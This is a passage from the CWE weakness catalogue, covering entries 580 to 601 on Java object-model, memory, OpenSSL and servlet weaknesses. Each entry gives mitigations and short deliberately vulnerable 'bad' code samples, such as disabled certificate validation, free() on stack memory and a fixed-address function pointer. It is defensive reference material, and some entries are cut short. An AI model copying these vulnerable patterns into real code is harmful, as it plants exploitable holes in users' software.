In some cases, you can eliminate the clone method altogether and use copy constructors.

Demonstrative Examples

Example 1:

The following two classes demonstrate a bug introduced by not calling super.clone(). Because of the way Kibitzer implements clone(), FancyKibitzer's clone method will return an object of type Kibitzer instead of FancyKibitzer.

Example Language: Java *(bad)*

```
public class Kibitzer {
    public Object clone() throws CloneNotSupportedException {
        Object returnMe = new Kibitzer();
        ...
    }
}
public class FancyKibitzer extends Kibitzer{
```

```
    public Object clone() throws CloneNotSupportedException {
        Object returnMe = super.clone();
        ...
    }
}
```

CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined

Weakness ID : 581 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not maintain equal hashcodes for equal objects.

Extended Description

Java objects are expected to obey a number of invariants related to equality. One of these invariants is that equal objects must have equal hashcodes. In other words, if a.equals(b) == true then a.hashCode() == b.hashCode().

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-582: Array Declared Public, Final, and Static

Weakness ID : 582 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The program declares an array public, final, and static, which is not sufficient to prevent the array's contents from being modified.

Extended Description

Because arrays are mutable objects, the final constraint requires that the array object itself be assigned only once, but makes no guarantees about the values of the array elements. Since the array is public, a malicious program can change the values stored in the array. As such, in most cases an array declared public, final and static is a bug.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	668	Exposure of Resource to Wrong Sphere	1305

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Background Details

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

Potential Mitigations

Phase: Implementation

In most situations the array should be made private.

Demonstrative Examples

Example 1:

The following Java Applet code mistakenly declares an array public, final and static.

Example Language: Java *(bad)*

```
public final class urlTool extends Applet {
    public final static URL[] urls;
    ...
}
```

CWE-583: finalize() Method Declared Public

Weakness ID : 583 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The program violates secure coding principles for mobile code by declaring a finalize() method public.

Extended Description

A program should never call finalize explicitly, except to call super.finalize() inside an implementation of finalize(). In mobile code situations, the otherwise error prone practice of manual garbage collection can become a security threat if an attacker can maliciously invoke a finalize() method because it is declared with public access.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Alter Execution Logic	
Integrity	Execute Unauthorized Code or Commands	
Availability	Modify Application Data	

Potential Mitigations

Phase: Implementation

If you are using finalize() as it was designed, there is no reason to declare finalize() with anything other than protected access.

Demonstrative Examples

Example 1:

The following Java Applet code mistakenly declares a public finalize() method.

Example Language: Java *(bad)*

```
public final class urlTool extends Applet {
    public void finalize() {
        ...
    }
    ...
}
```

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

CWE-584: Return Inside Finally Block

Weakness ID : 584 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The code has a return statement inside a finally block, which will cause any thrown exception in the try block to be discarded.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	705	Incorrect Control Flow Scoping	1359

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	1863

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic	

Potential Mitigations

Phase: Implementation

Do not use a return statement inside the finally block. The finally block should have "cleanup" code.

Demonstrative Examples

Example 1:

In the following code excerpt, the IllegalArgumentException will never be delivered to the caller. The finally block will cause the exception to be discarded.

Example Language: Java *(bad)*

```
try {
    ...
    throw IllegalArgumentException();
}
finally {
    return r;
}
```

MemberOf Relationships

CWE-585: Empty Synchronized Block

Weakness ID : 585 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software contains an empty synchronized block.

Extended Description

An empty synchronized block does not actually accomplish any synchronization and may indicate a troubled section of code. An empty synchronized block can occur because code no longer needed within the synchronized block is commented out without removing the synchronized block.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1071	Empty Code Block	1672

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	1869

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Other *An empty synchronized block will wait until nobody else is using the synchronizer being specified. While this may be part of the desired behavior, because you haven't protected the subsequent code by placing it inside the synchronized block, nothing is stopping somebody else from modifying whatever it was you were waiting for while you run the subsequent code.*	

Potential Mitigations

Phase: Implementation

When you come across an empty synchronized statement, or a synchronized statement in which the code has been commented out, try to determine what the original intentions were and whether or not the synchronized block is still necessary.

Demonstrative Examples

Example 1:

The following code attempts to synchronize on an object, but does not execute anything in the synchronized block. This does not actually accomplish anything and may be a sign that a programmer is wrestling with synchronization but has not yet achieved the result they intend.

Example Language: Java *(bad)*

```
synchronized(this) { }
```

Instead, in a correct usage, the synchronized statement should contain procedures that access or modify data that is exposed to multiple threads. For example, consider a scenario in which several threads are accessing student records at the same time. The method which sets the student ID to a new value will need to make sure that nobody else is accessing this data at the same time and will require synchronization.

Example Language: *(good)*

```
public void setID(int ID){
    synchronized(this){
        this.ID = ID;
    }
}
```

CWE-586: Explicit Call to Finalize()

Weakness ID : 586 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software makes an explicit call to the finalize() method from outside the finalizer.

Extended Description

While the Java Language Specification allows an object's finalize() method to be called from outside the finalizer, doing so is usually a bad idea. For example, calling finalize() explicitly means that finalize() will be called more than once: the first time will be the explicit call and the last time will be the call that is made after the object is garbage collected.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-587: Assignment of a Fixed Address to a Pointer

Weakness ID : 587 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software sets a pointer to a specific address other than NULL or 0.

Extended Description

Using a fixed address is not portable because that address will probably not be valid in all environments or platforms.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1393
ChildOf	B	344	Use of Invariant Value in Dynamically Changing Context	757

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	1868

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Language : Assembly *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *If one executes code at a known location, an attacker might be able to inject code there beforehand.*	
Availability	DoS: Crash, Exit, or Restart *If the code is ported to another platform or environment, the pointer is likely to be invalid and cause a crash.*	
Confidentiality Integrity	Read Memory Modify Memory *The data at a known pointer location can be easily read or influenced by an attacker.*	

Potential Mitigations

Phase: Implementation

Never set a pointer to a fixed address.

Demonstrative Examples

Example 1:

This code assumes a particular function will always be found at a particular address. It assigns a pointer to that address and calls the function.

Example Language: C *(bad)*

```
int (*pt2Function) (float, char, char)=0x08040000;
int result2 = (*pt2Function) (12, 'a', 'b');
// Here we can inject code to execute.
```

The same function may not always be found at the same memory address. This could lead to a crash, or an attacker may alter the memory at the expected address, leading to arbitrary code execution.

CWE-588: Attempt to Access Child of a Non-structure Pointer

Weakness ID : 588 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

Casting a non-structure type to a structure type and accessing a field can lead to memory access errors or data corruption.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1393
ChildOf	B	704	Incorrect Type Conversion or Cast	1357

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	1868
MemberOf	C	569	Expression Issues	1870

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory *Adjacent variables in memory may be corrupted by assignments performed on fields after the cast.*	
Availability	DoS: Crash, Exit, or Restart *Execution may end due to a memory access error.*	

Potential Mitigations

Phase: Requirements

The choice could be made to use a language that is not susceptible to these issues.

Phase: Implementation

Review of type casting operations can identify locations where incompatible types are cast.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(bad)*

```
struct foo
{
    int i;
}
...
int main(int argc, char **argv)
{
    *foo = (struct foo *)main;
    foo->i = 2;
    return foo->i;
}
```

CWE-589: Call to Non-ubiquitous API

Weakness ID : 589 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses an API function that does not exist on all versions of the target platform. This could cause portability problems or inconsistencies that allow denial of service or other consequences.

Extended Description

Some functions that offer security features supported by the OS are not available on all versions of the OS in common use. Likewise, functions are often deprecated or made obsolete for security reasons and should not be used.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-590: Free of Memory not on the Heap

Weakness ID : 590 **Status:** Incomplete

Structure : Simple
Abstraction : Variant

Description

The application calls free() on a pointer to memory that was not allocated using associated heap allocation functions such as malloc(), calloc(), or realloc().

Extended Description

When free() is called on an invalid pointer, the program's memory management data structures may become corrupted. This corruption can cause the program to crash or, in some circumstances, an attacker may be able to cause free() to operate on controllable memory locations to modify critical program variables or execute code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	762	Mismatched Memory Management Routines	1405
CanPrecede	B	123	Write-what-where Condition	296

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Modify Memory *There is the potential for arbitrary code execution with privileges of the vulnerable program via a "write, what where" primitive. If pointers to memory which hold user information are freed, a malicious user will be able to write 4 bytes anywhere in memory.*	

Potential Mitigations

Phase: Implementation

Only free pointers that you have called malloc on previously. This is the recommended solution. Keep track of which pointers point at the beginning of valid chunks and free them only once.

Phase: Implementation

Before freeing a pointer, the programmer should make sure that the pointer was previously allocated on the heap and that the memory belongs to the programmer. Freeing an unallocated pointer will cause undefined behavior in the program.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, glibc in Linux provides protection against free of invalid pointers.

Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

Demonstrative Examples

Example 1:

In this example, an array of record_t structs, bar, is allocated automatically on the stack as a local variable and the programmer attempts to call free() on the array. The consequences will vary based on the implementation of free(), but it will not succeed in deallocating the memory.

Example Language: C *(bad)*

```
void foo(){
    record_t bar[MAX_SIZE];
    /* do something interesting with bar */
    ...
    free(bar);
}
```

This example shows the array allocated globally, as part of the data segment of memory and the programmer attempts to call free() on the array.

Example Language: C *(bad)*

```
record_t bar[MAX_SIZE]; //Global var
void foo(){
    /* do something interesting with bar */
    ...
    free(bar);
}
```

Instead, if the programmer wanted to dynamically manage the memory, malloc() or calloc() should have been used.

Example Language: *(good)*

```
void foo(){
    record_t *bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));
    /* do something interesting with bar */
    ...
    free(bar);
}
```

Additionally, you can pass global variables to free() when they are pointers to dynamically allocated memory.

Example Language: *(good)*

```
record_t *bar; //Global var
void foo(){
    bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));
    /* do something interesting with bar */
    ...
    free(bar);
}
```

CWE-591: Sensitive Data Storage in Improperly Locked Memory

Weakness ID : 591 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The application stores sensitive data in memory that is not locked, or that has been incorrectly locked, which might cause the memory to be written to swap files on disk by the virtual memory manager. This can make the data more accessible to external actors.

Extended Description

On Windows systems the VirtualLock function can lock a page of memory to ensure that it will remain present in memory and not be swapped to disk. However, on older versions of Windows, such as 95, 98, or Me, the VirtualLock() function is only a stub and provides no protection. On POSIX systems the mlock() call ensures that a page will stay resident in memory but does not guarantee that the page will not appear in the swap. Therefore, it is unsuitable for use as a protection mechanism for sensitive data. Some platforms, in particular Linux, do make the guarantee that the page will not be swapped, but this is non-standard and is not portable. Calls to mlock() also require supervisor privilege. Return values for both of these calls must be checked to ensure that the lock operation was actually successful.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	413	Improper Resource Locking	896

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Memory *Sensitive data that is written to a swap file may be exposed.*	

Potential Mitigations

Phase: Architecture and Design

Identify data that needs to be protected from swapping and choose platform-appropriate protection mechanisms.

Phase: Implementation

Check return values to ensure locking operations are successful.

Affected Resources

- Memory

CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created

Weakness ID : 593 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software modifies the SSL context after connection creation has begun.

Extended Description

If the program modifies the SSL_CTX object after creating SSL objects from it, there is the possibility that older SSL objects created from the original context could all be affected by that change.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page

ChildOf	C	666	Operation on Resource in Wrong Phase of Lifetime	1298

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *No authentication takes place in this process, bypassing an assumed protection of encryption.*	
Confidentiality	Read Application Data *The encrypted communication between a user and a trusted host may be subject to a sniffing attack.*	

Potential Mitigations

Phase: Architecture and Design

Use a language or a library that provides a cryptography framework at a higher level of abstraction.

Phase: Implementation

Most SSL_CTX functions have SSL counterparts that act on SSL-type objects.

Phase: Implementation

Applications should set up an SSL_CTX completely, before creating SSL objects from it.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(bad)*

```
#define CERT "secret.pem"
#define CERT2 "secret2.pem"
int main(){
    SSL_CTX *ctx;
    SSL *ssl;
    init_OpenSSL();
    seed_prng();
    ctx = SSL_CTX_new(SSLv23_method());
    if (SSL_CTX_use_certificate_chain_file(ctx, CERT) != 1)
        int_error("Error loading certificate from file");
    if (SSL_CTX_use_PrivateKey_file(ctx, CERT, SSL_FILETYPE_PEM) != 1)
```

```
        int_error("Error loading private key from file");
    if (!(ssl = SSL_new(ctx)))
        int_error("Error creating an SSL context");
    if ( SSL_CTX_set_default_passwd_cb(ctx, "new default password" != 1))
        int_error("Doing something which is dangerous to do anyways");
    if (!(ssl2 = SSL_new(ctx)))
        int_error("Error creating an SSL context");
}
```

CWE-594: J2EE Framework: Saving Unserializable Objects to Disk

Weakness ID : 594 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

When the J2EE container attempts to write unserializable objects to disk there is no guarantee that the process will complete successfully.

Extended Description

In heavy load conditions, most J2EE application frameworks flush objects to disk to manage memory requirements of incoming requests. For example, session scoped objects, and even application scoped objects, are written to disk when required. While these application frameworks do the real work of writing objects to disk, they do not enforce that those objects be serializable, thus leaving the web application vulnerable to crashes induced by serialization failure. An attacker may be able to mount a denial of service attack by sending enough requests to the server to force the web application to save objects to disk.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365

Weakness Ordinalities

Indirect :

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *Data represented by unserializable objects can be corrupted.*	
Availability	DoS: Crash, Exit, or Restart *Non-serializability of objects can lead to system crash.*	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

All objects that become part of session and application scope must implement the java.io.Serializable interface to ensure serializability of containing objects.

Demonstrative Examples

Example 1:

In the following Java example, a Customer Entity JavaBean provides access to customer information in a database for a business application. The Customer Entity JavaBean is used as a session scoped object to return customer information to a Session EJB.

Example Language: Java *(bad)*

```
@Entity
public class Customer {
    private String id;
    private String firstName;
    private String lastName;
    private Address address;
    public Customer() {
    }
    public Customer(String id, String firstName, String lastName) {...}
    @Id
    public String getCustomerId() {...}
    public void setCustomerId(String id) {...}
    public String getFirstName() {...}
    public void setFirstName(String firstName) {...}
    public String getLastName() {...}
    public void setLastName(String lastName) {...}
    @OneToOne()
    public Address getAddress() {...}
    public void setAddress(Address address) {...}
}
```

However, the Customer Entity JavaBean is an unserialized object which can cause serialization failure and crash the application when the J2EE container attempts to write the object to the system. Session scoped objects must implement the Serializable interface to ensure that the objects serialize properly.

Example Language: Java *(good)*

```
public class Customer implements Serializable {...}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-595: Comparison of Object References Instead of Object Contents

Weakness ID : 595 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The program compares object references instead of the contents of the objects themselves, preventing it from detecting equivalent objects.

Extended Description

For example, in Java, comparing objects using == usually produces deceptive results, since the == operator compares object references rather than values; often, this means that using == for strings is actually comparing the strings' references, not their values.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1025	Comparison Using Wrong Factors	1638
ParentOf	V	597	Use of Wrong Operator in String Comparison	1189

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	569	Expression Issues	1870

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : JavaScript *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context *This weakness can lead to erroneous results that can cause unexpected application behaviors.*	

Potential Mitigations

Phase: Implementation

In Java, use the equals() method to compare objects instead of the == operator. If using ==, it is important for performance reasons that your objects are created by a static factory, not by a constructor.

Demonstrative Examples

Example 1:

In the example below, two Java String objects are declared and initialized with the same string values and an if statement is used to determine if the strings are equivalent.

Example Language: Java *(bad)*

```
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
    System.out.println("str1 == str2");
}
```

However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:

Example Language: *(good)*

```
if (str1.equals(str2)) {
    System.out.println("str1 equals str2");
}
```

Example 2:

In the following Java example, two BankAccount objects are compared in the isSameAccount method using the == operator.

Example Language: Java *(bad)*

```
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
    return accountA == accountB;
}
```

Using the == operator to compare objects may produce incorrect or deceptive results by comparing object references rather than values. The equals() method should be used to ensure correct results or objects should contain a member variable that uniquely identifies the object.

The following example shows the use of the equals() method to compare the BankAccount objects and the next example uses a class get method to retrieve the bank account number that uniquely identifies the BankAccount object to compare the objects.

Example Language: Java *(good)*

```
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
    return accountA.equals(accountB);
}
```

MemberOf Relationships

CWE-597: Use of Wrong Operator in String Comparison

Weakness ID : 597 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The product uses the wrong operator when comparing a string, such as using "==" when the equals() method should be used instead.

Extended Description

In Java, using == or != to compare two strings for equality actually compares two objects for equality, not their values. Chances are good that the two references will never be equal. While this weakness often only affects program correctness, if the equality is used for a security decision, it could be leveraged to affect program security.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-598: Use of GET Request Method With Sensitive Query Strings

Weakness ID : 598 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The web application uses the HTTP GET method to process a request and includes sensitive information in the query string of that requests.

Extended Description

The query string can be saved in the browser's history, passed through Referers to other web sites, stored in web logs, or otherwise recorded in other sources. If the query string contains sensitive information such as session identifiers, then attackers can use this information to launch further attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	201	Exposure of Sensitive Information Through Sent Data	474

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *At a minimum, attackers can garner information from query strings that can be utilized in escalating their method of attack, such as information about the internal workings of the application or database column names. Successful exploitation of query string parameter vulnerabilities could lead to an attacker impersonating a legitimate user, obtaining proprietary data, or simply executing actions not intended by the application developers.*	

Potential Mitigations

Phase: Implementation

When sensitive information is sent, use the POST method (e.g. registration form).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-599: Missing Validation of OpenSSL Certificate

Weakness ID : 599 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses OpenSSL and trusts or uses a certificate without using the SSL_get_verify_result() function to ensure that the certificate satisfies all necessary security requirements.

Extended Description

This could allow an attacker to use an invalid certificate to claim to be a trusted host, use expired certificates, or conduct other attacks that could be detected if the certificate is properly validated.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	295	Improper Certificate Validation	648

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	1969

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *The data read may not be properly secured, it might be viewed by an attacker.*	
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *Trust afforded to the system in question may allow for spoofing or redirection attacks.*	
Access Control	Gain Privileges or Assume Identity *If the certificate is not checked, it may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to provide data under the guise of*	

Scope	Impact	Likelihood
	a trusted host. While the attacker in question may have a valid certificate, it may simply be a valid certificate for a different site. In order to ensure data integrity, we must check that the certificate is valid, and that it pertains to the site we wish to access.	

Potential Mitigations

Phase: Architecture and Design

Ensure that proper authentication is included in the system design.

Phase: Implementation

Understand and properly implement all checks necessary to ensure the identity of entities involved in encrypted communications.

Demonstrative Examples

Example 1:

The following OpenSSL code ensures that the host has a certificate.

Example Language: C *(bad)*

```
if (cert = SSL_get_peer_certificate(ssl)) {
    // got certificate, host can be trusted
    //foo=SSL_get_verify_result(ssl);
    //if (X509_V_OK==foo) ...
}
```

Note that the code does not call SSL_get_verify_result(ssl), which effectively disables the validation step that checks the certificate.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	948	SFP Secondary Cluster: Digital Certificate	888	1935

Notes

Relationship

CWE-295 and CWE-599 are very similar, although CWE-599 has a more narrow scope that is only applied to OpenSSL certificates. As a result, other children of CWE-295 can be regarded as children of CWE-599 as well. CWE's use of one-dimensional hierarchical relationships is not well-suited to handle different kinds of abstraction relationships based on concepts like types of resources ("OpenSSL certificate" as a child of "any certificate") and types of behaviors ("not validating expiration" as a child of "improper validation").

CWE-600: Uncaught Exception in Servlet

Weakness ID : 600 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The Servlet does not catch all exceptions, which may reveal sensitive debugging information.

Extended Description

When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker. For example, a stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page

Alternate Terms

Missing Catch Block :

Common Consequences

Scope	Impact	Likelihood
Confidentiality Availability	Read Application Data DoS: Crash, Exit, or Restart	

Potential Mitigations

Phase: Implementation

Implement Exception blocks to handle all types of Exceptions.

Demonstrative Examples

Example 1:

In the following method a DNS lookup failure will cause the Servlet to throw an exception.

Example Language: Java *(bad)*

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
    String ip = req.getRemoteAddr();
    InetAddress addr = InetAddress.getByName(ip);
    ...
    out.println("hello " + addr.getHostName());
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-601: URL Redirection to Untrusted Site ('Open Redirect')

Weakness ID : 601 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks.

Extended Description

An http parameter may contain a URL value and could cause the web application to redirect the request to the specified URL. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts have a more trustworthy appearance.

Relationships

